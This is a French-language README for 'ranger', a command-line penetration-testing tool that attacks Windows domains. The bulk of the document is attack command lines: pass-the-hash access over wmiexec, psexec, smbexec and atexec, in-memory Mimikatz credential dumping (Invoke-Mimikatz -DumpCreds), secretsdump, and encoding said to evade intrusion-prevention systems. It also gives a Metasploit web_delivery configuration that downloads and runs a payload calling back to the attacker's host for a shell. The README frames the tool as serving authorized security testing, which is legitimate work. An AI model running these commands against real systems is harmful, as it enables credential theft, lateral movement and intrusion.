ranger
Un outil pour aider les professionnels de la sécurité à accéder et interagir avec des systèmes distants Microsoft Windows.
Ce projet a été conceptualisé avec la réflexion suivante : nous n'avons pas inventé l'arc ni la flèche,
juste une manière plus efficace de les utiliser.
Ranger est un outil d'attaque et de test de pénétration piloté en ligne de commande, capable d'utiliser
un serveur catapulte instantané pour délivrer des capacités contre des systèmes Windows. Tant qu'un utilisateur
dispose d'un jeu d'identifiants ou d'un jeu de hachages (NTLM, LM, LM:NTLM), il peut accéder à des systèmes
faisant partie du domaine de confiance.
Grâce à cette capacité, un professionnel de la sécurité peut extraire des identifiants en mémoire en clair,
accéder aux tables SAM, exécuter des commandes, des scripts PowerShell, des binaires Windows et d'autres outils.
Actuellement, l'outil contourne la majorité des solutions IPS des fournisseurs, sauf si celles-ci ont été
spécifiquement adaptées pour le détecter. L'outil a été développé dans nos laboratoires domestiques afin de soutenir
les professionnels de la sécurité menant des activités légalement et/ou contractuellement autorisées.
Davantage de fonctionnalités sont ajoutées, mais pour l'instant l'outil utilise les contributions communautaires
des dépôts liés aux équipes PowerShell PowerView, PowerShell Mimikatz et Impacket.
Gestion de Ranger :
Installation :
wget https://raw.githubusercontent.com/funkandwagnalls/ranger/master/setup.sh
chmod a+x setup.sh
./setup.sh
rm setup.sh
Mise à jour :
Utilisation :
- Ranger utilise une combinaison de méthodes et d'attaques ; une méthode sert à délivrer une attaque/commande
- Une attaque est ce que vous essayez d'accomplir
- Certains éléments sont à la fois une méthode et une attaque combinées, et certaines méthodes ne peuvent pas utiliser certaines attaques en raison des limitations actuelles des bibliothèques ou protocoles
Méthodes & Attaques :
Méthode :
--wmiexec
--psexec
--smbexec
--atexec
Attaque :
--command
--invoker
--downloader
--executor
--domain-group-members
--local-group-members
--get-domain-membership
--get-forest-domains
--get-forest
--get-dc
--find-la-access
Exécution de commandes :
Trouver les utilisateurs connectés :
ranger.py [-u Administrator] [-p Password1] [-d Domain] --scout
Shell de commande SMBEXEC :
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --smbexec -q -v -vv -vvv
Shell de commande PSEXEC :
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --psexec -q -v -vv -vvv
Exécution de commande PSEXEC :
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --psexec -c "Net User" -q -v -vv -vvv
Exécution de commande WMIEXEC :
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec -c "Net User"
Injecteur mémoire PowerShell Mimikatz WMIEXEC :
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --invoker
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --downloader
Injecteur mémoire de code personnalisé WMIEXEC :
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --executor -c -x "im.ps1" -f "Invoke-Mimikatz -DumpCreds"
Exécution de commande ATEXEC :
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --atexec -c "Net User" --no-encoder
Injecteur mémoire PowerShell Mimikatz ATEXEC :
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --invoker --no-encoder
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --downloader --no-encoder
Injecteur mémoire de code personnalisé ATEXEC :
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --executor -x "im.ps1" -f "Invoke-Mimikatz -DumpCreds" --no-encoder
Injecteur mémoire de code personnalisé SECRETSDUMP :
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --secrets-dump
Créer une attaque Mimikatz prête à coller :
ranger.py --invoker -q -v -vv -vvv
ranger.py --downloader -q -v -vv -vvv
Créer une attaque Executor prête à coller :
ranger.py --executor -q -v -vv -vvv
Identification des membres de groupes et des domaines
- Lors de l'identification des groupes, assurez-vous de déterminer quel est le domaine de requête réel avec
--get-domain-membership
- Ensuite, lorsque vous interrogez un groupe, utilisez l'option facultative
--domain, qui vous permet de cibler un domaine différent de celui auquel vous êtes connecté
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --get-domain-membership
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --domain "Domain.local2"
Remarques sur l'utilisation :
- Vous pouvez lui passer une liste de noms d'utilisateur et mots de passe ou hachages dans le format suivant, dans le même fichier :
username password
username LM:NTLM
username :NTLM
username **NO PASSWORD**:NTLM
PWDUMP
username PWDUMP domain
username password domain
username LM:NTLM domain
username :NTLM domain
username **NO PASSWORD**:NTLM domain
PWDUMP domain
username PWDUMP domain
Mises en garde concernant le fichier d'identifiants :
- Si vous fournissez des noms de domaine dans le fichier, ils seront utilisés à la place de WORKGROUP par défaut.
- Si vous fournissez le nom de domaine via la ligne de commande
-d, cela indiquera que vous souhaitez ignorer tous les noms de domaine du fichier.
Exécution en ligne de commande :
- Si vous ne souhaitez pas utiliser le fichier, vous pouvez passer les détails directement via la ligne de commande.
- Si vous souhaitez fournir des hachages au lieu de mots de passe, passez-les simplement via l'argument du mot de passe.
- S'ils sont au format PWDUMP et que vous ne fournissez pas de nom d'utilisateur, le nom d'utilisateur sera extrait du hachage.
- Si vous fournissez un nom d'utilisateur, il considérera que le même hachage s'applique à un utilisateur différent.
- Utilisez les formats suivants pour le mot de passe :
password
LM:NTLM
:NTLM
PWDUMP
Cibles et exclusions :
- Les cibles et exclusions peuvent être utilisées simultanément
Cibles, plages de cibles, CIDR de cibles, listes de cibles, cibles XML NMAP :
- Vous pouvez fournir une liste de cibles soit en utilisant une liste de cibles, soit via l'option de cible.
- Vous pouvez fournir plusieurs fichiers de listes de cibles en les séparant par des virgules, et l'outil agrégera les données, supprimera les doublons puis exclura votre adresse IP de l'interface par défaut ou de l'interface que vous fournissez.
- L'outil accepte les notations CIDR, les petites plages (192.168.195.1-100) ou les grandes plages (192.168.194.1-192.163.1.1) ou les adresses IP uniques.
- Encore une fois, séparez-les par des virgules en ligne de commande ou placez-les dans un fichier délimité par des sauts de ligne.
- Les XML NMAP peuvent également être utilisés pour cibler des systèmes, cela peut aussi être séparé par des virgules.
- L'outil normalisera et supprimera les doublons avant de cibler les machines.
- EXEMPLE :
-t 192.168.195.1-100,192.168.195.200-192.168.198.3 -tl list1,list2,lis3 -tnX scan1.xml,scan2.xml
Exclusions, plages d'exclusion, CIDR d'exclusion, listes d'exclusion, XML NMAP d'exclusion :
- Vous pouvez également exclure des cibles en utilisant les arguments d'exclusion. Ainsi, si vous ne touchez pas un petit classe C dans un classe A, l'outil s'en chargera.
- Les exclusions peuvent être effectuées exactement de la même manière que les cibles, remplacez simplement le
t dans les commandes par e.
- EXEMPLE :
-e 192.168.195.1-100,192.168.195.200-192.168.198.3 -el list1,list2,lis3 -enX scan1.xml,scan2.xml
Systèmes de protection contre les intrusions (IPS) :
- Mimikatz, Downloader et Executor utilisent l'injection mémoire PowerShell en appelant d'autres services et protocoles.
- Les commandes sont doublement encodées et contournent les solutions IPS actuelles (même de nouvelle génération) sauf si elles sont spécifiquement réglées pour détecter ces attaques.
- ATEXEC est le seul qui atterrit actuellement sur le disque et n'encode pas ; il me reste encore du travail de réécriture à faire.
Attaques Invoker :
- Exécute le PowerShell Mimikatz sur la machine cible
- Par défaut, la fonction / cmdlet est Invoke-Mimikatz, qui peut être modifiée avec
-f
- Par défaut, les arguments sont DumpCreds, qui peuvent être modifiés avec
-a
- Invoker nécessite les options
-f et -a si vous voulez changer la commande ; pour éviter d'utiliser -a, vous pouvez utiliser Executor
- EXEMPLE :
-x "im.ps1" -f "Invoke-Mimikatz" -a "DumpCreds"
Attaques Executor :
- Permet d'exécuter des binaires et/ou des scripts PowerShell sur les machines cibles
- Doit être dans le répertoire courant où se trouve le script ou le binaire sur votre machine d'attaque
- Le script ou le binaire sera injecté directement en mémoire
- Nécessite que le payload (binaire ou script) soit identifié avec
-x
- Nécessite que la fonction / cmdlet / arguments soient définis par
-f
- En option, vous pouvez définir davantage la commande avec
-a si l'outil le nécessite
- EXEMPLE 1 :
-x "im.ps1" -f "Invoke-Mimikatz" -a "DumpCreds"
- EXEMPLE 2 :
-x "im.ps1" -f "Invoke-Mimikatz -DumpCreds
Attaques Downloader (web_delivery) :
- Pour configurer Metasploit pour l'exploit web_delivery, démarrez Metasploit et configurez l'exploit pour répondre aux conditions suivantes.
use exploit/multi/script/web_delivery
set targets 2
set payload <choose your desired payload>
set lhost <your IP>
set lport <port for the shell make sure it is not a conflicting port>
set URIPATH /
set SRVPORT <the same as what is set by the -r option in ranger, defaults to 8888>
exploit -j
##FAQ
Erreurs d'accès refusé pour SMBEXEC et WMIEXEC
J'obtiens des erreurs d'accès refusé sur des machines Windows faisant partie d'un WORKGROUP.
Lorsqu'elles ne font pas partie d'un domaine, Windows par défaut n'a pas de partages administratifs. SMBEXEC repose sur l'activation des partages. De plus, WMIC n'est pas activé sur les machines WORKGROUP. SMBEXEC et WMIEXEC sont conçus pour cibler les protocoles activés sur les systèmes de domaine. Bien qu'il soit possible d'activer ces fonctions sur un système WORKGROUP, notez que vous introduisez des protocoles vulnérables (après tout, c'est pour cela que cet outil est conçu pour attaquer). Activer ces fonctionnalités sur votre système domestique principal que votre conjoint utilise aussi pour Facebook n'est probablement pas la meilleure idée.
- Assurez-vous qu'il s'agit d'une machine de test qui vous appartient. Vous pouvez forcer l'activation des partages en suivant les instructions ici : http://www.wintips.org/how-to-enable-admin-shares-windows-7/
- Si vous voulez déterminer quels partages sont exposés puis les cibler, vous pouvez utiliser un outil comme
enum4linux puis utiliser l'argument --share share_name dans ranger pour essayer d'exécuter SMBEXEC.
Fonctionnalités futures :
Sortie colorée :
- Continuer à ajouter une sortie colorée avec
https://pypi.python.org/pypi/colorama
- WINDOWER – Exécuter PowerShell sans cacher la fenêtre pour éviter certains systèmes de surveillance
- GATHERER – Extracteur automatisé d'identifiants pour un groupe de domaine
- HUNTER - Décision semi-intelligente (SID) – Identifie un chemin d'escalade basé sur les similitudes d'appartenance à un groupe à l'aide d'arbres de classification
- Meilleur parsing NTDS et de groupe
- Serveurs catapultes SMB
Remerciements :
- Microsoft pour PowerShell (et à l'avance pour bash dans Windows !)
- À l'équipe CoreLabs Impacket
- À l'équipe PowerShellEmpire
- À Mattifestation pour avoir lancé PowerSploit et PowerShellMafia et aux contributeurs pour continuer à le développer
- À nos amis et à la communauté pour la communauté constructive
Présenté à :
[BSides Charm City 2016 : 23 avril 2016] (http://2016.bsidescharm.com/2016-talks/ranger-it-just-takes-one-account-to-take-down-an-enterprise)
Vidéo de la présentation :
[Vidéo]
(https://youtu.be/HrXTrPzdR2Q?list=PL0YXeUocWA4NAGPmYdKNmQEh8H6iL_4Ik)
Distributions dont l'outil fait partie :
[Black Arch Linux] (https://blackarch.org/)